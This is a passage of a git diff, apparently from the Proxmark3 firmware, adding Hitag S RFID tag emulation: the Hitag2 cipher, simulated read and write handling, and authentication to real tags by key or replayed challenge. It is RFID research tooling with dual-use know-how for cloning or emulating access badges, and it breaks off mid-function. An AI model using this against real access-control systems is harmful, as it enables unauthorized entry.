100 wierd values break it probably isn't hitag... + if (errorCount >100) break; // We can break this loop if we received the last bit from a frame if (AT91C_BASE_TC1->TC_CV > T0*HITAG_T_EOF) { if (rxlen>0) break; } } + + // Wait some extra time for flash to be programmed + if ((rxlen == 0) && (writestate == WRITE_STATE_PROG)) + { + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + while(AT91C_BASE_TC0->TC_CV < T0*(HITAG_T_PROG - HITAG_T_WAIT_MAX)); + } } + // Dbprintf("DEBUG: Done waiting for frame"); + LED_B_OFF(); LED_D_OFF(); AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - Dbprintf("frame received: %d",frame_count); - DbpString("All done"); - cmd_send(CMD_ACK,bSuccessful,0,0,(byte_t*)tag.sectors,48); + // Dbprintf("frame received: %d",frame_count); + // DbpString("All done"); + cmd_send(CMD_ACK,bSuccessful,0,0,(byte_t*)tag.sectors,48); } diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c new file mode 100644 index 000000000..59e2694e5 --- /dev/null +++ b/armsrc/hitagS.c @@ -0,0 +1,2146 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// HitagS emulation (preliminary test version) +// +// (c) 2016 Oguzhan Cicek, Hendrik Schwartke, Ralf Spenneberg +// +//----------------------------------------------------------------------------- +// Some code was copied from Hitag2.c +//----------------------------------------------------------------------------- +#include +#include "proxmark3.h" +#include "apps.h" +#include "util.h" +#include "hitagS.h" +#include "hitag2.h" +#include "string.h" +#include "BigBuf.h" + +#define CRC_PRESET 0xFF +#define CRC_POLYNOM 0x1D + +#define u8 uint8_t +#define u32 uint32_t +#define u64 uint64_t +#define rev8(x) ((((x)>>7)&1)+((((x)>>6)&1)<<1)+((((x)>>5)&1)<<2)+((((x)>>4)&1)<<3)+((((x)>>3)&1)<<4)+((((x)>>2)&1)<<5)+((((x)>>1)&1)<<6)+(((x)&1)<<7)) +#define rev16(x) (rev8 (x)+(rev8 (x>> 8)<< 8)) +#define rev32(x) (rev16(x)+(rev16(x>>16)<<16)) +#define rev64(x) (rev32(x)+(rev32(x>>32)<<32)) +#define bit(x,n) (((x)>>(n))&1) +#define bit32(x,n) ((((x)[(n)>>5])>>((n)))&1) +#define inv32(x,i,n) ((x)[(i)>>5]^=((u32)(n))<<((i)&31)) +#define rotl64(x, n) ((((u64)(x))<<((n)&63))+(((u64)(x))>>((0-(n))&63))) + +static bool bQuiet; +static bool bSuccessful; +static struct hitagS_tag tag; +static byte_t page_to_be_written = 0; +static int block_data_left = 0; +typedef enum modulation { + AC2K = 0, + AC4K, + MC4K, + MC8K +} MOD; +static MOD m = AC2K; //used modulation +static uint32_t temp_uid; +static int temp2 = 0; +static int sof_bits; //number of start-of-frame bits +static byte_t pwdh0, pwdl0, pwdl1; //password bytes +static uint32_t rnd = 0x74124485; //randomnumber +static int test = 0; +size_t blocknr; +bool end=false; + +// Single bit Hitag2 functions: +#define i4(x,a,b,c,d) ((u32)((((x)>>(a))&1)+(((x)>>(b))&1)*2+(((x)>>(c))&1)*4+(((x)>>(d))&1)*8)) +static const u32 ht2_f4a = 0x2C79; // 0010 1100 0111 1001 +static const u32 ht2_f4b = 0x6671; // 0110 0110 0111 0001 +static const u32 ht2_f5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 +#define ht2bs_4a(a,b,c,d) (~(((a|b)&c)^(a|d)^b)) +#define ht2bs_4b(a,b,c,d) (~(((d|c)&(a^b))^(d|a|b))) +#define ht2bs_5c(a,b,c,d,e) (~((((((c^e)|d)&a)^b)&(c^b))^(((d^e)|a)&((d^b)|c)))) +#define uf20bs u32 + +static u32 f20(const u64 x) { + u32 i5; + + i5 = ((ht2_f4a >> i4(x, 1, 2, 4, 5)) & 1) * 1 + + ((ht2_f4b >> i4(x, 7, 11, 13, 14)) & 1) * 2 + + ((ht2_f4b >> i4(x, 16, 20, 22, 25)) & 1) * 4 + + ((ht2_f4b >> i4(x, 27, 28, 30, 32)) & 1) * 8 + + ((ht2_f4a >> i4(x, 33, 42, 43, 45)) & 1) * 16; + + return (ht2_f5c >> i5) & 1; +} +static u64 hitag2_round(u64 *state) { + u64 x = *state; + + x = (x >> 1) + + ((((x >> 0) ^ (x >> 2) ^ (x >> 3) ^ (x >> 6) ^ (x >> 7) ^ (x >> 8) + ^ (x >> 16) ^ (x >> 22) ^ (x >> 23) ^ (x >> 26) ^ (x >> 30) + ^ (x >> 41) ^ (x >> 42) ^ (x >> 43) ^ (x >> 46) ^ (x >> 47)) + & 1) << 47); + + *state = x; + return f20(x); +} +static u64 hitag2_init(const u64 key, const u32 serial, const u32 IV) { + u32 i; + u64 x = ((key & 0xFFFF) << 32) + serial; + for (i = 0; i < 32; i++) { + x >>= 1; + x += (u64) (f20(x) ^ (((IV >> i) ^ (key >> (i + 16))) & 1)) << 47; + } + return x; +} +static u32 hitag2_byte(u64 *x) { + u32 i, c; + + for (i = 0, c = 0; i < 8; i++) + c += (u32) hitag2_round(x) << (i ^ 7); + return c; +} + +// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) +// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz +// Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) +// T0 = TIMER_CLOCK1 / 125000 = 192 +#define T0 192 + +#define SHORT_COIL() LOW(GPIO_SSC_DOUT) +#define OPEN_COIL() HIGH(GPIO_SSC_DOUT) + +#define HITAG_FRAME_LEN 20 +#define HITAG_T_STOP 36 /* T_EOF should be > 36 */ +#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ +#define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ +#define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ +//#define HITAG_T_EOF 40 /* T_EOF should be > 36 */ +#define HITAG_T_EOF 80 /* T_EOF should be > 36 */ +#define HITAG_T_WAIT_1 200 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_2 90 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_MAX 300 /* bit more than HITAG_T_WAIT_1 + HITAG_T_WAIT_2 */ + +#define HITAG_T_TAG_ONE_HALF_PERIOD 10 +#define HITAG_T_TAG_TWO_HALF_PERIOD 25 +#define HITAG_T_TAG_THREE_HALF_PERIOD 41 +#define HITAG_T_TAG_FOUR_HALF_PERIOD 57 + +#define HITAG_T_TAG_HALF_PERIOD 16 +#define HITAG_T_TAG_FULL_PERIOD 32 + +#define HITAG_T_TAG_CAPTURE_ONE_HALF 13 +#define HITAG_T_TAG_CAPTURE_TWO_HALF 25 +#define HITAG_T_TAG_CAPTURE_THREE_HALF 41 +#define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 + +#define DEBUG 0 + +/* + * Implementation of the crc8 calculation from Hitag S + * from http://www.proxmark.org/files/Documents/125%20kHz%20-%20Hitag/HitagS.V11.pdf + */ +void calc_crc(unsigned char * crc, unsigned char data, unsigned char Bitcount) { + *crc ^= data; // crc = crc (exor) data + do { + if (*crc & 0x80) // if (MSB-CRC == 1) + { + *crc <<= 1; // CRC = CRC Bit-shift left + *crc ^= CRC_POLYNOM; // CRC = CRC (exor) CRC_POLYNOM + } else { + *crc <<= 1; // CRC = CRC Bit-shift left + } + } while (--Bitcount); +} + +static void hitag_send_bit(int bit) { + LED_A_ON(); + // Reset clock for the next bit + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + switch (m) { + case AC2K: + if (bit == 0) { + // AC Coding --__ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; + + } else { + // AC coding -_-_ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 48) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; + + } + LED_A_OFF(); + break; + case AC4K: + if (bit == 0) { + // AC Coding --__ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD) {}; + + } else { + // AC coding -_-_ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 24) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + } + LED_A_OFF(); + break; + case MC4K: + if (bit == 0) { + // Manchester: Unloaded, then loaded |__--| + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + + } else { + // Manchester: Loaded, then unloaded |--__| + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + + } + LED_A_OFF(); + break; + case MC8K: + if (bit == 0) { + // Manchester: Unloaded, then loaded |__--| + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + } else { + // Manchester: Loaded, then unloaded |--__| + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + } + LED_A_OFF(); + break; + default: + break; + } +} + +static void hitag_send_frame(const byte_t* frame, size_t frame_len) { +// Send start of frame + + for (size_t i = 0; i < sof_bits; i++) { + hitag_send_bit(1); + } + +// Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + hitag_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + } +// Drop the modulation + LOW(GPIO_SSC_DOUT); +} + +static void hitag_reader_send_bit(int bit) { +//Dbprintf("BIT: %d",bit); + LED_A_ON(); +// Reset clock for the next bit + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + +// Binary puls length modulation (BPLM) is used to encode the data stream +// This means that a transmission of a one takes longer than that of a zero + +// Enable modulation, which means, drop the the field + HIGH(GPIO_SSC_DOUT); + if (test == 1) { + // Wait for 4-10 times the carrier period + while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + + // SpinDelayUs(8*8); + + // Disable modulation, just activates the field again + LOW(GPIO_SSC_DOUT); + + if (bit == 0) { + // Zero bit: |_-| + while (AT91C_BASE_TC0->TC_CV < T0 * 11) {}; + + // SpinDelayUs(16*8); + } else { + // One bit: |_--| + while (AT91C_BASE_TC0->TC_CV < T0 * 14) {}; + + // SpinDelayUs(22*8); + } + } else { + // Wait for 4-10 times the carrier period + while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + + // SpinDelayUs(8*8); + + // Disable modulation, just activates the field again + LOW(GPIO_SSC_DOUT); + + if (bit == 0) { + // Zero bit: |_-| + while (AT91C_BASE_TC0->TC_CV < T0 * 22) {}; + + // SpinDelayUs(16*8); + } else { + // One bit: |_--| + while (AT91C_BASE_TC0->TC_CV < T0 * 28) {}; + + // SpinDelayUs(22*8); + } + } + + LED_A_OFF(); +} + +static void hitag_reader_send_frame(const byte_t* frame, size_t frame_len) { +// Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + if (frame[0] == 0xf8) { + //Dbprintf("BIT: %d",(frame[i / 8] >> (7 - (i % 8))) & 1); + } + hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + } +// Send EOF + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; +// Enable modulation, which means, drop the the field + HIGH(GPIO_SSC_DOUT); +// Wait for 4-10 times the carrier period + while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + +// Disable modulation, just activates the field again + LOW(GPIO_SSC_DOUT); +} + +/* + * to check if the right uid was selected + */ +static int check_select(byte_t* rx, uint32_t uid) { + unsigned char resp[48]; + int i; + uint32_t ans = 0x0; + for (i = 0; i < 48; i++) + resp[i] = (rx[i / 8] >> (7 - (i % 8))) & 0x1; + for (i = 0; i < 32; i++) + ans += resp[5 + i] << (31 - i); + /*if (rx[0] == 0x01 && rx[1] == 0x15 && rx[2] == 0xc1 && rx[3] == 0x14 + && rx[4] == 0x65 && rx[5] == 0x38) + Dbprintf("got uid %X", ans);*/ + temp_uid = ans; + if (ans == tag.uid) + return 1; + return 0; +} + +/* + * handles all commands from a reader + */ +static void hitagS_handle_reader_command(byte_t* rx, const size_t rxlen, + byte_t* tx, size_t* txlen) { + byte_t rx_air[HITAG_FRAME_LEN]; + byte_t page; + int i; + u64 state; + unsigned char crc; + +// Copy the (original) received frame how it is send over the air + memcpy(rx_air, rx, nbytes(rxlen)); +// Reset the transmission frame length + *txlen = 0; +// Try to find out which command was send by selecting on length (in bits) + switch (rxlen) { + case 5: { + //UID request with a selected response protocol mode + tag.pstate = HT_READY; + tag.tstate = HT_NO_OP; + if ((rx[0] & 0xf0) == 0x30) { + tag.mode = HT_STANDARD; + sof_bits = 1; + m = AC2K; + } + if ((rx[0] & 0xf0) == 0xc0) { + tag.mode = HT_ADVANCED; + sof_bits = 3; + m = AC2K; + } + + if ((rx[0] & 0xf0) == 0xd0) { + tag.mode = HT_FAST_ADVANCED; + sof_bits = 3; + m = AC4K; + } + //send uid as a response + *txlen = 32; + for (i = 0; i < 4; i++) + tx[i] = (tag.uid >> (24 - (i * 8))) & 0xff; + } + break; + case 45: { + //select command from reader received + if (check_select(rx, tag.uid) == 1) { + //if the right tag was selected + *txlen = 32; + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + + //send configuration + for (i = 0; i < 4; i++) + tx[i] = (tag.pages[0][1] >> (i * 8)) & 0xff; + tx[3] = 0xff; + if (tag.mode != HT_STANDARD) { + *txlen = 40; + crc = CRC_PRESET; + for (i = 0; i < 4; i++) + calc_crc(&crc, tx[i], 8); + tx[4] = crc; + } + } + } + break; + case 64: { + //challenge message received + Dbprintf("Challenge for UID: %X", temp_uid); + temp2++; + *txlen = 32; + state = hitag2_init(rev64(tag.key), rev32(tag.pages[0][0]), + rev32(((rx[3] << 24) + (rx[2] << 16) + (rx[1] << 8) + rx[0]))); + Dbprintf( + ",{0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X}", + rx[0], rx[1], rx[2], rx[3], rx[4], rx[5], rx[6], rx[7]); + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + + for (i = 0; i < 4; i++) + hitag2_byte(&state); + //send con2,pwdh0,pwdl0,pwdl1 encrypted as a response + tx[0] = hitag2_byte(&state) ^ ((tag.pages[0][1] >> 16) & 0xff); + tx[1] = hitag2_byte(&state) ^ tag.pwdh0; + tx[2] = hitag2_byte(&state) ^ tag.pwdl0; + tx[3] = hitag2_byte(&state) ^ tag.pwdl1; + if (tag.mode != HT_STANDARD) { + //add crc8 + *txlen = 40; + crc = CRC_PRESET; + calc_crc(&crc, ((tag.pages[0][1] >> 16) & 0xff), 8); + calc_crc(&crc, tag.pwdh0, 8); + calc_crc(&crc, tag.pwdl0, 8); + calc_crc(&crc, tag.pwdl1, 8); + tx[4] = (crc ^ hitag2_byte(&state)); + } + /* + * some readers do not allow to authenticate multiple times in a row with the same tag. + * use this to change the uid between authentications. + */ + + /* + if (temp2 % 2 == 0) { + tag.uid = 0x11223344; + tag.pages[0][0] = 0x44332211; + } else { + tag.uid = 0x55667788; + tag.pages[0][0] = 0x88776655; + } + */ + } + case 40: + //data received to be written + if (tag.tstate == HT_WRITING_PAGE_DATA) { + tag.tstate = HT_NO_OP; + tag.pages[page_to_be_written / 4][page_to_be_written % 4] = (rx[0] + << 0) + (rx[1] << 8) + (rx[2] << 16) + (rx[3] << 24); + //send ack + *txlen = 2; + tx[0] = 0x40; + page_to_be_written = 0; + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + } else if (tag.tstate == HT_WRITING_BLOCK_DATA) { + tag.pages[page_to_be_written / 4][page_to_be_written % 4] = (rx[0] + << 24) + (rx[1] << 16) + (rx[2] << 8) + rx[3]; + //send ack + *txlen = 2; + tx[0] = 0x40; + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + page_to_be_written++; + block_data_left--; + if (block_data_left == 0) { + tag.tstate = HT_NO_OP; + page_to_be_written = 0; + } + } + break; + case 20: { + //write page, write block, read page or read block command received + if ((rx[0] & 0xf0) == 0xc0) //read page + { + //send page data + page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); + *txlen = 32; + tx[0] = (tag.pages[page / 4][page % 4]) & 0xff; + tx[1] = (tag.pages[page / 4][page % 4] >> 8) & 0xff; + tx[2] = (tag.pages[page / 4][page % 4] >> 16) & 0xff; + tx[3] = (tag.pages[page / 4][page % 4] >> 24) & 0xff; + if (tag.LKP && page == 1) + tx[3] = 0xff; + + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + + if (tag.mode != HT_STANDARD) { + //add crc8 + *txlen = 40; + crc = CRC_PRESET; + for (i = 0; i < 4; i++) + calc_crc(&crc, tx[i], 8); + tx[4] = crc; + } + + if (tag.LKP && (page == 2 || page == 3)) { + //if reader asks for key or password and the LKP-mark is set do not respond + sof_bits = 0; + *txlen = 0; + } + } else if ((rx[0] & 0xf0) == 0xd0) //read block + { + page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); + *txlen = 32 * 4; + //send page,...,page+3 data + for (i = 0; i < 4; i++) { + tx[0 + i * 4] = (tag.pages[page / 4][page % 4]) & 0xff; + tx[1 + i * 4] = (tag.pages[page / 4][page % 4] >> 8) & 0xff; + tx[2 + i * 4] = (tag.pages[page / 4][page % 4] >> 16) & 0xff; + tx[3 + i * 4] = (tag.pages[page / 4][page % 4] >> 24) & 0xff; + page++; + } + + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + + if (tag.mode != HT_STANDARD) { + //add crc8 + *txlen = 32 * 4 + 8; + crc = CRC_PRESET; + for (i = 0; i < 16; i++) + calc_crc(&crc, tx[i], 8); + tx[16] = crc; + } + + if ((page - 4) % 4 != 0 || (tag.LKP && (page - 4) == 0)) { + sof_bits = 0; + *txlen = 0; + } + } else if ((rx[0] & 0xf0) == 0x80) //write page + { + page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); + + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + if ((tag.LCON && page == 1) + || (tag.LKP && (page == 2 || page == 3))) { + //deny + *txlen = 0; + } else { + //allow + *txlen = 2; + tx[0] = 0x40; + page_to_be_written = page; + tag.tstate = HT_WRITING_PAGE_DATA; + } + + } else if ((rx[0] & 0xf0) == 0x90) //write block + { + page = ((rx[0] & 0x0f) * 6) + ((rx[1] & 0xf0) / 16); + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } + if (page % 4 != 0 || page == 0) { + //deny + *txlen = 0; + } else { + //allow + *txlen = 2; + tx[0] = 0x40; + page_to_be_written = page; + block_data_left = 4; + tag.tstate = HT_WRITING_BLOCK_DATA; + } + } + } + break; + default: + + break; + } +} + +/* + * to autenticate to a tag with the given key or challenge + */ +static int hitagS_handle_tag_auth(hitag_function htf,uint64_t key, uint64_t NrAr, byte_t* rx, const size_t rxlen, byte_t* tx, + size_t* txlen) { + byte_t rx_air[HITAG_FRAME_LEN]; + int response_bit[200]; + int i, j, z, k; + unsigned char mask = 1; + unsigned char uid[32]; + byte_t uid1 = 0x00, uid2 = 0x00, uid3 = 0x00, uid4 = 0x00; + unsigned char crc; + u64 state; + byte_t auth_ks[4]; + byte_t conf_pages[3]; + memcpy(rx_air, rx, nbytes(rxlen)); + *txlen = 0; + + if (tag.pstate == HT_READY && rxlen >= 67) { + //received uid + if(end==true) { + Dbprintf("authentication failed!"); + return -1; + } + z = 0; + for (i = 0; i < 10; i++) { + for (j = 0; j < 8; j++) { + response_bit[z] = 0; + if ((rx[i] & ((mask << 7) >> j)) != 0) + response_bit[z] = 1; + z++; + } + } + k = 0; + for (i = 5; i < z; i += 2) { + uid[k] = response_bit[i]; + k++; + if (k > 31) + break; + } + uid1 = (uid[0] << 7) | (uid[1] << 6) | (uid[2] << 5) | (uid[3] << 4) + | (uid[4] << 3) | (uid[5] << 2) | (uid[6] << 1) | uid[7]; + uid2 = (uid[8] << 7) | (uid[9] << 6) | (uid[10] << 5) | (uid[11] << 4) + | (uid[12] << 3) | (uid[13] << 2) | (uid[14] << 1) | uid[15]; + uid3 = (uid[16] << 7) | (uid[17] << 6) | (uid[18] << 5) | (uid[19] << 4) + | (uid[20] << 3) | (uid[21] << 2) | (uid[22] << 1) | uid[23]; + uid4 = (uid[24] << 7) | (uid[25] << 6) | (uid[26] << 5) | (uid[27] << 4) + | (uid[28] << 3) | (uid[29] << 2) | (uid[30] << 1) | uid[31]; + if (DEBUG) + Dbprintf("UID: %02X %02X %02X %02X", uid1, uid2, uid3, uid4); + tag.uid = (uid4 << 24 | uid3 << 16 | uid2 << 8 | uid1); + + //select uid + *txlen = 45; + crc = CRC_PRESET; + calc_crc(&crc, 0x00, 5); + calc_crc(&crc, uid1, 8); + calc_crc(&crc, uid2, 8); + calc_crc(&crc, uid3, 8); + calc_crc(&crc, uid4, 8); + for (i = 0; i < 100; i++) { + response_bit[i] = 0; + } + for (i = 0; i < 5; i++) { + response_bit[i] = 0; + } + for (i = 5; i < 37; i++) { + response_bit[i] = uid[i - 5]; + } + for (j = 0; j < 8; j++) { + response_bit[i] = 0; + if ((crc & ((mask << 7) >> j)) != 0) + response_bit[i] = 1; + i++; + } + k = 0; + for (i = 0; i < 6; i++) { + tx[i] = (response_bit[k] << 7) | (response_bit[k + 1] << 6) + | (response_bit[k + 2] << 5) | (response_bit[k + 3] << 4) + | (response_bit[k + 4] << 3) | (response_bit[k + 5] << 2) + | (response_bit[k + 6] << 1) | response_bit[k + 7]; + k += 8; + } + tag.pstate = HT_INIT; + } else if (tag.pstate == HT_INIT && rxlen == 44) { + // received configuration after select command + z = 0; + for (i = 0; i < 6; i++) { + for (j = 0; j < 8; j++) { + response_bit[z] = 0; + if ((rx[i] & ((mask << 7) >> j)) != 0) + response_bit[z] = 1; + z++; + } + } + conf_pages[0] = ((response_bit[4] << 7) | (response_bit[5] << 6) + | (response_bit[6] << 5) | (response_bit[7] << 4) + | (response_bit[8] << 3) | (response_bit[9] << 2) + | (response_bit[10] << 1) | response_bit[11]); + //check wich memorysize this tag has + if (response_bit[10] == 0 && response_bit[11] == 0) + tag.max_page = 32 / 32; + if (response_bit[10] == 0 && response_bit[11] == 1) + tag.max_page = 256 / 32; + if (response_bit[10] == 1 && response_bit[11] == 0) + tag.max_page = 2048 / 32; + conf_pages[1] = ((response_bit[12] << 7) | (response_bit[13] << 6) + | (response_bit[14] << 5) | (response_bit[15] << 4) + | (response_bit[16] << 3) | (response_bit[17] << 2) + | (response_bit[18] << 1) | response_bit[19]); + tag.auth = response_bit[12]; + tag.TTFC = response_bit[13]; + //tag.TTFDR in response_bit[14] and response_bit[15] + //tag.TTFM in response_bit[16] and response_bit[17] + tag.LCON = response_bit[18]; + tag.LKP = response_bit[19]; + conf_pages[2] = ((response_bit[20] << 7) | (response_bit[21] << 6) + | (response_bit[22] << 5) | (response_bit[23] << 4) + | (response_bit[24] << 3) | (response_bit[25] << 2) + | (response_bit[26] << 1) | response_bit[27]); + tag.LCK7 = response_bit[20]; + tag.LCK6 = response_bit[21]; + tag.LCK5 = response_bit[22]; + tag.LCK4 = response_bit[23]; + tag.LCK3 = response_bit[24]; + tag.LCK2 = response_bit[25]; + tag.LCK1 = response_bit[26]; + tag.LCK0 = response_bit[27]; + + if (DEBUG) + Dbprintf("conf0: %02X conf1: %02X conf2: %02X", conf_pages[0], + conf_pages[1], conf_pages[2]); + if (tag.auth == 1) { + //if the tag is in authentication mode try the key or challenge + *txlen = 64; + if(end!=true){ + if(htf==02||htf==04){ //RHTS_KEY //WHTS_KEY + state = hitag2_init(rev64(key), rev32(tag.uid), + rev32(rnd)); + + for (i = 0; i < 4; i++) { + auth_ks[i] = hitag2_byte(&state) ^ 0xff; + } + *txlen = 64; + tx[0] = rnd & 0xff; + tx[1] = (rnd >> 8) & 0xff; + tx[2] = (rnd >> 16) & 0xff; + tx[3] = (rnd >> 24) & 0xff; + + tx[4] = auth_ks[0]; + tx[5] = auth_ks[1]; + tx[6] = auth_ks[2]; + tx[7] = auth_ks[3]; + if (DEBUG) + Dbprintf("%02X %02X %02X %02X %02X %02X %02X %02X", tx[0], + tx[1], tx[2], tx[3], tx[4], tx[5], tx[6], tx[7]); + } else if(htf==01 || htf==03) { //RHTS_CHALLENGE //WHTS_CHALLENGE + for (i = 0; i < 8; i++) + tx[i]=((NrAr>>(56-(i*8)))&0xff); + } + end=true; + tag.pstate = HT_AUTHENTICATE; + } else { + Dbprintf("authentication failed!"); + return -1; + } + } else if (tag.auth == 0) { + tag.pstate = HT_SELECTED; + } + + } else if (tag.pstate == HT_AUTHENTICATE && rxlen == 44) { + //encrypted con2,password received. + crc = CRC_PRESET; + calc_crc(&crc, 0x80, 1); + calc_crc(&crc, ((rx[0] & 0x0f) * 16 + ((rx[1] & 0xf0) / 16)), 8); + calc_crc(&crc, ((rx[1] & 0x0f) * 16 + ((rx[2] & 0xf0) / 16)), 8); + calc_crc(&crc, ((rx[2] & 0x0f) * 16 + ((rx[3] & 0xf0) / 16)), 8); + calc_crc(&crc, ((rx[3] & 0x0f) * 16 + ((rx[4] & 0xf0) / 16)), 8); + if (DEBUG) { + Dbprintf("UID:::%X", tag.uid); + Dbprintf("RND:::%X", rnd); + } + + //decrypt password + pwdh0=0; + pwdl0=0; + pwdl1=0; + if(htf==02 || htf==04){ //RHTS_KEY //WHTS_KEY + { + state = hitag2_init(rev64(key), rev32(tag.uid), rev32(rnd)); + for (i = 0; i < 5; i++) + hitag2_byte(&state); + pwdh0 = ((rx[1] & 0x0f) * 16 + ((rx[2] & 0xf0) / 16)) + ^ hitag2_byte(&state); + pwdl0 = ((rx[2] & 0x0f) * 16 + ((rx[3] & 0xf0) / 16)) + ^ hitag2_byte(&state); + pwdl1 = ((rx[3] & 0x0f) * 16 + ((rx[4] & 0xf0) / 16)) + ^ hitag2_byte(&state); + } + + if (DEBUG) + Dbprintf("pwdh0 %02X pwdl0 %02X pwdl1 %02X", pwdh0, pwdl0, pwdl1); + + + //Dbprintf("%X %02X", rnd, ((rx[4] & 0x0f) * 16) + ((rx[5] & 0xf0) / 16)); + //rnd += 1; + } + tag.pstate = HT_SELECTED; //tag is now ready for read/write commands + } + return 0; + +} + +/* + * Emulates a Hitag S Tag with the given data from the .hts file + */ +void SimulateHitagSTag(bool tag_mem_supplied, byte_t* data) { + int frame_count; + int response; + int overflow; + int i, j; + byte_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + //bool bQuitTraceFull = false; + bQuiet = false; + byte_t txbuf[HITAG_FRAME_LEN]; + byte_t* tx = txbuf; + size_t txlen = 0; + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + DbpString("Starting HitagS simulation"); + LED_D_ON(); + + tag.pstate = HT_READY; + tag.tstate = HT_NO_OP; + for (i = 0; i < 